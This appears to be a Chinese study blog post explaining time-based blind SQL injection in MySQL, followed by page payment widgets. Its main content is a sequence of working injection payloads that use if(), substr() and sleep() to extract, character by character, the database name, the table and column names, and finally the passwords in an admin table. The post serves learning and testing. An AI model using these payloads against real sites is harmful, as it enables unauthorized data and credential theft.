SQL注入利用学习 - 延时盲注

延时盲注原理

无法利用页面显示结果判断SQL注入是否执行成功,此时可以利用 SQL语句执行的延时 判断SQL是 否执行成功。

只要可以执行延时,那么就可以利用该注入技术。

sql时间类型的盲注本质是利用插入的SQL语句执行造成时间延迟,插入的SQL语句中包含延时执行的语 句,当数据库执行该语句时,会延时执行。

Mysql中常用的延时执行函数
sleep(num)
benchmark(num,function) benchmark(100000000,rand())
Mysql中常用的判断结构
IF(condition, when_true, when_false)
例如:
select * from admin where id = 1 and (if(length(database())>0,sleep(3),1));

 延时盲注实验示例讲解:

延时注入也时基于逐个字符猜解的技术。

1、数据库长度

id=1 and if(length(database())=7,sleep(3),null)

根据返回时间确定数据库长度为7。

2、数据库名称

id=1 and if((substr(database(),1,1)='w'),sleep(3),null)

根据延时判断 数据库名称的第一个字符为w. 猜解七次获取数据库名称为 web_sql。

3、数据表名称

id=1 and if((substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)='a'),sleep(3),null)

获取第一张数据表的字符为 a ,以此猜解字符获取第一张数据表名称为 admin,第二张数据表为 person。

4、字段名称

id=1 and if((substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1)='i'),sleep(3),null)

获取admin数据表的第一个字段的第一个字符为 i ,以此查出所有字段 id 、username、password。

5、数据内容

id=1 and if((substr((select password from admin limit 0,1),1,1)='f'),sleep(3),null)

获取第一条记录的password字段 字符为f,以此获取字段内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值